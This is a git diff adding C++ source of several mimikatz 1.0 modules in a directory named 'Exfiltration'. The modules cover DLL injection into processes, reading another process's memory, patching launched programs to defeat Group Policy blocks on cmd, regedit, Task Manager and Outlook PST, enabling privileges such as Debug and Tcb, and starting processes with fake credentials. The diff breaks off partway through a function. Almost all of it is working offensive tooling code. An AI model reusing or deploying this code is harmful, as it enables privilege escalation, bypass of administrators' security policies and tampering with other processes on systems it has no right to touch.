file mode 100644 index 0000000..92b4884 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_inject.h @@ -0,0 +1,33 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_inject.h" +#include "mod_system.h" +#include "mod_process.h" +#include "mod_service.h" +#include "mod_pipe.h" +#include + +class mod_mimikatz_inject +{ +private: + static bool injectInPid(DWORD & pid, wstring & libPath, bool isComm = true); + static void startComm(); + +public: + static mod_pipe * monCommunicator; + static bool closeThisCommunicator(); + + static vector getMimiKatzCommands(); + + static bool pid(vector * arguments); + static bool process(vector * arguments); + static bool service(vector * arguments); + + static bool injectlegacy(vector * arguments); + +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp new file mode 100644 index 0000000..0d61227 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.cpp @@ -0,0 +1,140 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_minesweeper.h" +#include "..\global.h" + +char DISP_MINESWEEPER[] = "012345678.F? !!"; + +vector mod_mimikatz_minesweeper::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Obtient des informations sur le démineur en cours")); + return monVector; +} + +bool mod_mimikatz_minesweeper::infos(vector * arguments) +{ + structHandleAndAddr * maStruct = new structHandleAndAddr(); + if(giveHandleAndAddr(maStruct)) + { + STRUCT_MINESWEEPER_GAME monGame; + if(mod_memory::readMemory(maStruct->G, &monGame, sizeof(STRUCT_MINESWEEPER_GAME), maStruct->hMineSweeper)) + { +#ifdef _M_IX86 + if(mod_system::GLOB_Version.dwBuildNumber >= 7000) + monGame.pBoard = monGame.pBoard_WIN7x86; +#endif + STRUCT_MINESWEEPER_BOARD monBoard; + if(mod_memory::readMemory(monGame.pBoard, &monBoard, sizeof(STRUCT_MINESWEEPER_BOARD), maStruct->hMineSweeper)) + { + (*outputStream) << L"Mines : " << monBoard.nbMines << endl << + L"Dimension : " << monBoard.nbLignes << L" lignes x " << monBoard.nbColonnes << L" colonnes" << endl << + L"Champ : " << endl << endl; + + char ** monTableau; + monTableau = new char*[monBoard.nbLignes]; + for(DWORD l = 0; l < monBoard.nbLignes; l++) + monTableau[l] = new char[monBoard.nbColonnes]; + + parseField(maStruct, monBoard.ref_visibles, monTableau, true); + parseField(maStruct, monBoard.ref_mines, monTableau, false); + + for(DWORD l = 0; l < monBoard.nbLignes; l++) + { + (*outputStream) << L'\t'; + for(DWORD c = 0; c < monBoard.nbColonnes; c++) + (*outputStream) << monTableau[l][c] << L' '; + (*outputStream) << endl; + delete[] monTableau[l]; + } + delete[] monTableau; + } else (*outputStream) << L"Impossible de lire les données du plateau" << endl; + } else (*outputStream) << L"Impossible de lire les données du jeu" << endl; + CloseHandle(maStruct->hMineSweeper); + } + delete maStruct; + + return true; +} + +bool mod_mimikatz_minesweeper::parseField(structHandleAndAddr * monHandleAndAddr, PSTRUCT_MINESWEEPER_REF_ELEMENT laBase, char ** monTableau, bool isVisible) +{ + DWORD tailleElementFinal = isVisible ? sizeof(DWORD) : sizeof(BYTE); + + STRUCT_MINESWEEPER_REF_ELEMENT maRefElements; + if(mod_memory::readMemory(laBase, &maRefElements, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper)) + { + PSTRUCT_MINESWEEPER_REF_ELEMENT * ref_colonnes_elements = new PSTRUCT_MINESWEEPER_REF_ELEMENT[maRefElements.nbElements]; + if(mod_memory::readMemory(maRefElements.elements, ref_colonnes_elements, maRefElements.nbElements * sizeof(PSTRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper)) + { + for(DWORD c = 0; c < maRefElements.nbElements; c++) + { + STRUCT_MINESWEEPER_REF_ELEMENT maRefColonneElement; + if(mod_memory::readMemory(ref_colonnes_elements[c], &maRefColonneElement, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper)) + { + void * cellules = isVisible ? reinterpret_cast(new DWORD[maRefColonneElement.nbElements]) : reinterpret_cast(new BYTE[maRefColonneElement.nbElements]); + if(mod_memory::readMemory(maRefColonneElement.elements, cellules, maRefColonneElement.nbElements * tailleElementFinal, monHandleAndAddr->hMineSweeper)) + { + for(DWORD l = 0; l < maRefColonneElement.nbElements; l++) + { + if(isVisible) + monTableau[l][c] = DISP_MINESWEEPER[reinterpret_cast(cellules)[l]]; + else + if(reinterpret_cast(cellules)[l]) monTableau[l][c] = '*'; + } + } else (*outputStream) << L"Impossible de lire les élements de la colonne : " << c << endl; + delete[] cellules; + } else (*outputStream) << L"Impossible de lire les références de la colonne : " << c << endl; + } + } else (*outputStream) << L"Impossible de lire les références des colonnes" << endl; + delete[] ref_colonnes_elements; + } else (*outputStream) << L"Impossible de lire les références de l\'élement" << endl; + + return true; +} + +bool mod_mimikatz_minesweeper::giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr) +{ +#ifdef _M_X64 + BYTE PTRN_WIN6_Game_SafeGetSingleton[] = {0x48, 0x89, 0x44, 0x24, 0x70, 0x48, 0x85, 0xc0, 0x74, 0x0a, 0x48, 0x8b, 0xc8, 0xe8}; + LONG OFFS_WIN6_ToG = -(5 + 5 + 6 + 4 + 1); +#elif defined _M_IX86 + BYTE PTRN_WIN6_Game_SafeGetSingleton[] = {0x84, 0xc0, 0x75, 0x07, 0x6a, 0x67, 0xe8}; + LONG OFFS_WIN6_ToG = sizeof(PTRN_WIN6_Game_SafeGetSingleton) + 4 + 1; +#endif + RtlZeroMemory(monHandleAndAddr, sizeof(structHandleAndAddr)); + + wstring nomDemineur(L"minesweeper.exe"); + mod_process::KIWI_PROCESSENTRY32 monDemineur; + if(mod_process::getUniqueForName(&monDemineur, &nomDemineur)) + { + monHandleAndAddr->pidMineSweeper = monDemineur.th32ProcessID; + mod_process::KIWI_MODULEENTRY32 monModule; + if(mod_process::getUniqueModuleForName(&monModule, NULL, &monDemineur.th32ProcessID)) + { + PBYTE limit = monModule.modBaseAddr + monModule.modBaseSize, ptrTemp = NULL; + if(monHandleAndAddr->hMineSweeper = OpenProcess(PROCESS_VM_READ, false, monHandleAndAddr->pidMineSweeper)) + if(mod_memory::searchMemory(monModule.modBaseAddr, limit, PTRN_WIN6_Game_SafeGetSingleton, &ptrTemp, sizeof(PTRN_WIN6_Game_SafeGetSingleton), true, monHandleAndAddr->hMineSweeper)) + { +#ifdef _M_X64 + long offsetTemp = 0; + if(mod_memory::readMemory(ptrTemp + OFFS_WIN6_ToG, &offsetTemp, sizeof(offsetTemp), monHandleAndAddr->hMineSweeper)) + mod_memory::readMemory((ptrTemp + OFFS_WIN6_ToG) + sizeof(long) + offsetTemp + 1, &monHandleAndAddr->G, sizeof(monHandleAndAddr->G), monHandleAndAddr->hMineSweeper); +#elif defined _M_IX86 + if(mod_memory::readMemory(ptrTemp + OFFS_WIN6_ToG, &ptrTemp, sizeof(ptrTemp), monHandleAndAddr->hMineSweeper)) + mod_memory::readMemory(ptrTemp, &monHandleAndAddr->G, sizeof(monHandleAndAddr->G), monHandleAndAddr->hMineSweeper); +#endif + } + } + } + + bool reussite = monHandleAndAddr->hMineSweeper && monHandleAndAddr->G; + + if(!reussite && monHandleAndAddr->hMineSweeper) + CloseHandle(monHandleAndAddr->hMineSweeper); + + return reussite; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h new file mode 100644 index 0000000..f80be46 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_minesweeper.h @@ -0,0 +1,72 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_process.h" +#include "mod_memory.h" +#include "mod_system.h" +#include + +class mod_mimikatz_minesweeper +{ +private: + typedef struct _STRUCT_MINESWEEPER_REF_ELEMENT { + DWORD nbElements; + DWORD unk0; + DWORD unk1; + PVOID elements; + DWORD unk2; + DWORD unk3; + } STRUCT_MINESWEEPER_REF_ELEMENT, *PSTRUCT_MINESWEEPER_REF_ELEMENT; + + typedef struct _STRUCT_MINESWEEPER_BOARD { + PVOID Serializer; + DWORD nbMines; + DWORD nbLignes; + DWORD nbColonnes; + DWORD unk0; + DWORD unk1; + DWORD unk2; + DWORD unk3; + DWORD unk4; + DWORD unk5; + DWORD unk6; + DWORD unk7; + DWORD unk8; + DWORD unk9; +#ifdef _M_X64 + DWORD unk_x64; +#endif + DWORD unk10; + PVOID unk11; + PSTRUCT_MINESWEEPER_REF_ELEMENT ref_visibles; + PSTRUCT_MINESWEEPER_REF_ELEMENT ref_mines; + DWORD unk12; + DWORD unk13; + } STRUCT_MINESWEEPER_BOARD, *PSTRUCT_MINESWEEPER_BOARD; + + typedef struct _STRUCT_MINESWEEPER_GAME { + PVOID Serializer; + //PVOID pGameStat; on 7x86 + PVOID pNodeBase; + PVOID pBoardCanvas; + PSTRUCT_MINESWEEPER_BOARD pBoard; + PSTRUCT_MINESWEEPER_BOARD pBoard_WIN7x86; + } STRUCT_MINESWEEPER_GAME, *PSTRUCT_MINESWEEPER_GAME; + + typedef struct structHandleAndAddr{ + HANDLE hMineSweeper; + DWORD pidMineSweeper; + PVOID G; + } structHandleAndAddr; + + static bool giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr); + static bool parseField(structHandleAndAddr * monHandleAndAddr, PSTRUCT_MINESWEEPER_REF_ELEMENT laBase, char ** monTableau, bool isVisible = true); + +public: + static vector getMimiKatzCommands(); + static bool infos(vector * arguments); +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp new file mode 100644 index 0000000..bfc18f1 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.cpp @@ -0,0 +1,210 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_nogpo.h" +#include "..\global.h" + +vector mod_mimikatz_nogpo::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(regedit, L"regedit", L"Lance un éditeur de registre, ignorant DisableRegistryTools")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cmd, L"cmd", L"Lance une invite de commande, ignorant DisableCMD")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(taskmgr, L"taskmgr", L"Lance le gestionnaire de tache, ignorant DisableTaskMgr")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(olpst, L"olpst", L"Lance Outlook, ignorant DisablePst")); + return monVector; +} + +bool mod_mimikatz_nogpo::regedit(vector * arguments) +{ + (*outputStream) << L"Editeur de registre : " << (disableSimple(L"regedit.exe", L"DisableRegistryTools", L"KiwiAndRegistryTools") ? "OK" : "KO") << endl; + return true; +} + +bool mod_mimikatz_nogpo::cmd(vector * arguments) +{ + (*outputStream) << L"Invite de commande : " << (disableSimple(L"cmd.exe", L"DisableCMD", L"KiwiAndCMD") ? "OK" : "KO") << endl; + return true; +} + +bool mod_mimikatz_nogpo::taskmgr(vector * arguments) +{ + (*outputStream) << L"Gestionnaire de taches : " << (disableSimple(L"taskmgr.exe", L"DisableTaskMgr", L"KiwiAndTaskMgr") ? "OK" : "KO") << endl; + return true; +} + +bool mod_mimikatz_nogpo::olpst(vector * arguments) +{ + char szDisable[] = "DisablePst"; + char szKiwi[] = "KiwiAndPst"; + + wstring pathToOutlook; + + if(getApplicationPathFromCLSID(L"Outlook.Application", &pathToOutlook)) + { + DWORD pidOutlook = 0; + bool reussite = disableSimple(pathToOutlook, szDisable, szKiwi, &pidOutlook); + + (*outputStream) << L"Outlook avec PST : " << (reussite ? L"OK" : L"KO"); + if(reussite) + { + mod_patch::patchModuleOfPID(pidOutlook, L"olmapi32.dll", reinterpret_cast(szDisable), sizeof(szDisable), reinterpret_cast(szKiwi), sizeof(szKiwi)); + } + } else (*outputStream) << L"Outlook introuvable" << endl; + return true; +} + +bool mod_mimikatz_nogpo::getApplicationPathFromCLSID(wstring application, wstring * path) +{ + bool reussite = false; + + DWORD regError; + + wstring pathToApplication = L"Software\\Classes\\"; + pathToApplication.append(application); + pathToApplication.append(L"\\CLSID"); + + HKEY hApplication; + + regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, pathToApplication.c_str(), 0, KEY_READ, &hApplication); + if(regError == ERROR_SUCCESS) + { + DWORD ApplicationType = 0; + DWORD ApplicationSize = 0; + LPBYTE monGUID = NULL; + + regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize); + if(regError == ERROR_SUCCESS) + { + if(ApplicationType == REG_SZ) + { + monGUID = new BYTE[ApplicationSize]; + + regError = RegQueryValueEx(hApplication, L"", NULL, &ApplicationType, monGUID, &ApplicationSize); + if(regError == ERROR_SUCCESS) + { + wstring regPathToPath = +#ifdef _M_X64 + L"Software\\Wow6432Node\\Classes\\CLSID\\"; +#elif defined _M_IX86 + L"Software\\Classes\\CLSID\\"; +#endif + regPathToPath.append(reinterpret_cast(monGUID)); + regPathToPath.append(L"\\LocalServer32"); + + HKEY hApplicationPath; + + regError = RegOpenKeyEx(HKEY_LOCAL_MACHINE, regPathToPath.c_str(), 0, KEY_READ, &hApplicationPath); + if(regError == ERROR_SUCCESS) + { + DWORD ApplicationPathType = 0; + DWORD ApplicationPathSize = 0; + LPBYTE monPath = NULL; + + regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize); + if(regError == ERROR_SUCCESS) + { + if(ApplicationPathType == REG_SZ) + { + monPath = new BYTE[ApplicationPathSize]; + + regError = RegQueryValueEx(hApplicationPath, L"", NULL, &ApplicationPathType, monPath, &ApplicationPathSize); + if(reussite = (regError == ERROR_SUCCESS)) + { + path->assign(reinterpret_cast(monPath)); + } else (*outputStream) << "RegQueryValueEx \'" << monPath << "\' : " << mod_system::getWinError(false, regError) << endl; + delete[] monPath; + } else (*outputStream) << "Le type retourné par \'" << monPath << "\' n\'est pas : REG_SZ" << endl; + } else (*outputStream) << "RegQueryValueEx \'" << monPath << "\' : " << mod_system::getWinError(false, regError) << endl; + RegCloseKey(hApplicationPath); + } else (*outputStream) << "RegOpenKeyEx \'" << regPathToPath << "\' : " << mod_system::getWinError(false, regError) << endl; + } else (*outputStream) << "RegQueryValueEx \'" << monGUID << "\' : " << mod_system::getWinError(false, regError) << endl; + delete[] monGUID; + } else (*outputStream) << "Le type retourné par \'" << monGUID << "\' n\'est pas : REG_SZ" << endl; + } else (*outputStream) << "RegQueryValueEx \'" << monGUID << "\' : " << mod_system::getWinError(false, regError) << endl; + RegCloseKey(hApplication); + } else (*outputStream) << "RegOpenKeyEx \'" << pathToApplication << "\' : " << mod_system::getWinError(false, regError) << endl; + + return reussite; +} + + +bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, SIZE_T taillePattern, PBYTE maCleDeDepart, const void * maCleFinale, DWORD * monPID) +{ + bool reussite = false; + + PROCESS_INFORMATION * mesInfos = new PROCESS_INFORMATION(); + if(mod_process::start(&commandLine, mesInfos, true)) + { + PEB * monPeb = new PEB(); + if(mod_process::getPeb(monPeb, mesInfos->hProcess)) + { + PBYTE patternAddr = NULL; + // Ici NULL est "toléré", pas de moyen simple de connaitre la taille en mode USER :( (enfin pour le moment) + if(mod_memory::searchMemory(reinterpret_cast(monPeb->ImageBaseAddress), NULL, maCleDeDepart, &patternAddr, taillePattern, true, mesInfos->hProcess)) + { + if(!(reussite = mod_memory::writeMemory(patternAddr, maCleFinale, taillePattern, mesInfos->hProcess))) + { + (*outputStream) << L"mod_memory::writeMemory " << mod_system::getWinError() << endl; + } + } + else (*outputStream) << L"mod_memory::searchMemory " << mod_system::getWinError() << endl; + } + else (*outputStream) << L"mod_process::getPeb " << mod_system::getWinError() << endl; + + delete monPeb; + + if(!(ResumeThread(mesInfos->hThread) != -1)) + (*outputStream) << L"ResumeThread " << mod_system::getWinError() << endl; + + if(monPID) + { + *monPID = mesInfos->dwProcessId; + } + + WaitForInputIdle(mesInfos->hProcess, INFINITE); + + CloseHandle(mesInfos->hThread); + CloseHandle(mesInfos->hProcess); + } + else (*outputStream) << L"mod_process::execProcess " << mod_system::getWinError() << endl; + + delete mesInfos; + + return reussite; +} + +bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, wstring origKey, wstring kiwiKey, DWORD * monPID) +{ + bool reussite = false; + + if(origKey.size() == kiwiKey.size()) + { + SIZE_T taillePattern = (origKey.size() + 1) * sizeof(wchar_t); + PBYTE maCleDeDepart = reinterpret_cast(const_cast(origKey.c_str())); + const void * maCleFinale = kiwiKey.c_str(); + + reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID); + } + else (*outputStream) << L"mod_mimikatz_nogpo::disableSimple (unicode) Taille du pattern original différente du pattern cible" << endl; + + return reussite; +} + +bool mod_mimikatz_nogpo::disableSimple(wstring commandLine, string origKey, string kiwiKey, DWORD * monPID) +{ + bool reussite = false; + + if(origKey.size() == kiwiKey.size()) + { + SIZE_T taillePattern = (origKey.size() + 1) * sizeof(char); + PBYTE maCleDeDepart = reinterpret_cast(const_cast(origKey.c_str())); + const void * maCleFinale = kiwiKey.c_str(); + + reussite = disableSimple(commandLine, taillePattern, maCleDeDepart, maCleFinale, monPID); + } + else (*outputStream) << L"mod_mimikatz_nogpo::disableSimple (non-unicode) Taille du pattern original différente du pattern cible" << endl; + + return reussite; +} diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h new file mode 100644 index 0000000..c96e22f --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_nogpo.h @@ -0,0 +1,30 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_process.h" +#include "mod_memory.h" +#include "mod_patch.h" +#include + +class mod_mimikatz_nogpo +{ +private: + static bool disableSimple(wstring commandLine, wstring origKey, wstring kiwiKey, DWORD * monPID = NULL); + static bool disableSimple(wstring commandLine, string origKey, string kiwiKey, DWORD * monPID = NULL); + static bool disableSimple(wstring commandLine, SIZE_T taillePattern, PBYTE maCleDeDepart, const void * maCleFinale, DWORD * monPID = NULL); + + static bool getApplicationPathFromCLSID(wstring application, wstring * path); + +public: + static vector getMimiKatzCommands(); + + static bool regedit(vector * arguments); + static bool cmd(vector * arguments); + static bool taskmgr(vector * arguments); + static bool olpst(vector * arguments); +}; + diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp new file mode 100644 index 0000000..1b29486 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.cpp @@ -0,0 +1,167 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_privilege.h" +#include "..\global.h" + +vector mod_mimikatz_privilege::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les privilèges")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(enable, L"enable", L"Active un ou plusieurs privilèges")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(remove, L"remove", L"Retire un ou plusieurs privilèges")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(disable, L"disable", L"Désactive un ou plusieurs privilèges")); + /* Raccourçis */ + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(debug, L"debug", L"Demande (ou désactive) le privilège Debug")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(security, L"security", L"Demande (ou désactive) le privilège Security")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(tcb, L"tcb", L"Demande (ou désactive) le privilège Tcb")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(impersonate, L"impersonate", L"Demande (ou désactive) le privilège Impersonate")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(assign, L"assign", L"Demande (ou désactive) le privilège AssignPrimaryToken")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(shutdown, L"shutdown", L"Demande (ou désactive) le privilège Shutdown")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(takeowner, L"takeowner", L"Demande (ou désactive) le privilège TakeOwnership")); + return monVector; +} + +bool mod_mimikatz_privilege::enable(vector * arguments) +{ + bool reussite = multiplePrivs(arguments, SE_PRIVILEGE_ENABLED); + return true; +} + +bool mod_mimikatz_privilege::remove(vector * arguments) +{ + bool reussite = multiplePrivs(arguments, SE_PRIVILEGE_REMOVED); + return true; +} + +bool mod_mimikatz_privilege::disable(vector * arguments) +{ + bool reussite = multiplePrivs(arguments, 0); + return true; +} + +bool mod_mimikatz_privilege::simplePriv(wstring priv, vector * arguments) +{ + bool ajout = arguments->empty(); + + (*outputStream) << L"Demande d" << (ajout ? L"\'ACTIVATION" : L"e RETRAIT") << L" du privilège : " << priv << L" : "; + + vector> * mesPrivs = new vector>; + mesPrivs->push_back(make_pair(priv, ajout ? SE_PRIVILEGE_ENABLED : 0)); + + bool reussite = mod_privilege::set(mesPrivs);//, INVALID_HANDLE_VALUE); + delete mesPrivs; + + if(reussite) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO ; " << mod_system::getWinError(); + (*outputStream) << endl; + + return reussite; +} + +bool mod_mimikatz_privilege::multiplePrivs(vector * privs, DWORD type) +{ + bool reussite = false; + vector> * mesPrivs = new vector>; + for(vector::iterator monPrivilege = privs->begin(); monPrivilege != privs->end() ; monPrivilege++) + { + mesPrivs->push_back(make_pair(*monPrivilege, type)); + } + reussite = mod_privilege::set(mesPrivs); + delete mesPrivs; + + if(reussite) + (*outputStream) << L"OK"; + else + (*outputStream) << L"KO ; " << mod_system::getWinError(); + (*outputStream) << endl; + + return reussite; +} + + +bool mod_mimikatz_privilege::list(vector * arguments) +{ + vector> * mesPrivs = new vector>; + + if(mod_privilege::get(mesPrivs))//, INVALID_HANDLE_VALUE)) + { + for(vector>::iterator monPrivilege = mesPrivs->begin(); (monPrivilege != mesPrivs->end()) ; monPrivilege++) + { + (*outputStream) << setw(35) << setfill(wchar_t(L' ')) << left << monPrivilege->first << right << L'\t'; + + if(monPrivilege->second & SE_PRIVILEGE_VALID_ATTRIBUTES) + { + if(monPrivilege->second & SE_PRIVILEGE_ENABLED_BY_DEFAULT) + { + (*outputStream) << L"ENABLED_BY_DEFAULT "; + } + + if(monPrivilege->second & SE_PRIVILEGE_ENABLED) + { + (*outputStream) << L"ENABLED "; + } + + if(monPrivilege->second & SE_PRIVILEGE_REMOVED) + { + (*outputStream) << L"REMOVED "; + } + + if(monPrivilege->second & SE_PRIVILEGE_USED_FOR_ACCESS) + { + (*outputStream) << L"USED_FOR_ACCESS "; + } + + if(monPrivilege->second & SE_PRIVILEGE_REMOVED) + { + (*outputStream) << L"REMOVED"; + } + } + + (*outputStream) << endl; + } + } + else (*outputStream) << mod_system::getWinError() << endl; + + return true; +} + + +bool mod_mimikatz_privilege::debug(vector * arguments) +{ + simplePriv(SE_DEBUG_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::security(vector * arguments) +{ + simplePriv(SE_SECURITY_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::tcb(vector * arguments) +{ + simplePriv(SE_TCB_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::impersonate(vector * arguments) +{ + simplePriv(SE_IMPERSONATE_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::assign(vector * arguments) +{ + simplePriv(SE_ASSIGNPRIMARYTOKEN_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::shutdown(vector * arguments) +{ + simplePriv(SE_SHUTDOWN_NAME, arguments); return true; +} + +bool mod_mimikatz_privilege::takeowner(vector * arguments) +{ + simplePriv(SE_TAKE_OWNERSHIP_NAME, arguments); return true; +} \ No newline at end of file diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h new file mode 100644 index 0000000..f3dc739 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_privilege.h @@ -0,0 +1,33 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#pragma once +#include "globdefs.h" +#include "mod_system.h" +#include "mod_privilege.h" +#include + +class mod_mimikatz_privilege +{ +private: + static bool multiplePrivs(vector * privs, DWORD type); + static bool simplePriv(wstring priv, vector * arguments); +public: + static vector getMimiKatzCommands(); + + static bool list(vector * arguments); + static bool enable(vector * arguments); + static bool remove(vector * arguments); + static bool disable(vector * arguments); + + static bool debug(vector * arguments); + static bool security(vector * arguments); + static bool tcb(vector * arguments); + static bool impersonate(vector * arguments); + static bool assign(vector * arguments); + static bool shutdown(vector * arguments); + static bool takeowner(vector * arguments); + +}; diff --git a/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp new file mode 100644 index 0000000..d18ca8b --- /dev/null +++ b/Exfiltration/mimikatz-1.0/mimikatz/modules/mod_mimikatz_process.cpp @@ -0,0 +1,298 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "mod_mimikatz_process.h" +#include "..\global.h" + +vector mod_mimikatz_process::getMimiKatzCommands() +{ + vector monVector; + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Liste les processus")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(start, L"start", L"Exécute un processus, /paused et/ou /sudo")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(suspend, L"suspend", L"Suspend l\'exécution d\'un processus")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(resume, L"resume", L"Reprend un processus")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(stop, L"stop", L"Stoppe un (ou plusieurs) processus")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(modules, L"modules", L"Liste les modules (pour le moment du PID courant)")); + monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(iat, L"iat", L"Liste la table d\'adressage")); + return monVector; +} + +bool mod_mimikatz_process::start(vector * arguments) +{ + if(!arguments->empty()) + { + wstring commande = arguments->back(); + bool paused = false; + bool sudo = false; + + (*outputStream) << L"Demande d\'exécution de : \'" << commande << L"'" << endl; + PROCESS_INFORMATION pi = {INVALID_HANDLE_VALUE, INVALID_HANDLE_VALUE, 0, 0}; + + switch(arguments->size()) + { + case 2: + if(_wcsicmp(arguments->front().c_str(), L"/paused") == 0) + paused = true; + else if(_wcsicmp(arguments->front().c_str(), L"/sudo") == 0) + sudo = true; + else + goto doStartProcess_syntaxerror; + + break; + case 3: + if(_wcsicmp(arguments->front().c_str(), L"/paused") == 0) + paused = true; + else + goto doStartProcess_syntaxerror; + + if(_wcsicmp(arguments->at(1).c_str(), L"/sudo") == 0) + sudo = true; + else + goto doStartProcess_syntaxerror; + + break; + } + + if(mod_process::start(&commande, &pi, paused, sudo)) + { + if(paused) + (*outputStream) << L" * Le Thread principal est suspendu ! Reprise avec : thread::resume " << pi.dwThreadId << endl; + + if(sudo) + (*outputStream) << L" * Le processus est démarré avec de fausses données d\'identification" << endl; + + printInfosFromPid(pi.dwProcessId, pi.dwThreadId); + } + else (*outputStream) << L"mod_process::start ; " << mod_system::getWinError() << endl; + } + else + { +doStartProcess_syntaxerror: + (*outputStream) << L"Erreur de syntaxe ; " << L"process::start [/paused] [/sudo] commande" << endl; + } + + return true; +} + +bool mod_mimikatz_process::stop(vector * arguments) +{ + for(vector::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++) + { + mod_process::KIWI_PROCESSENTRY32 monProcess; + wstring procName = *monProcessName; + + 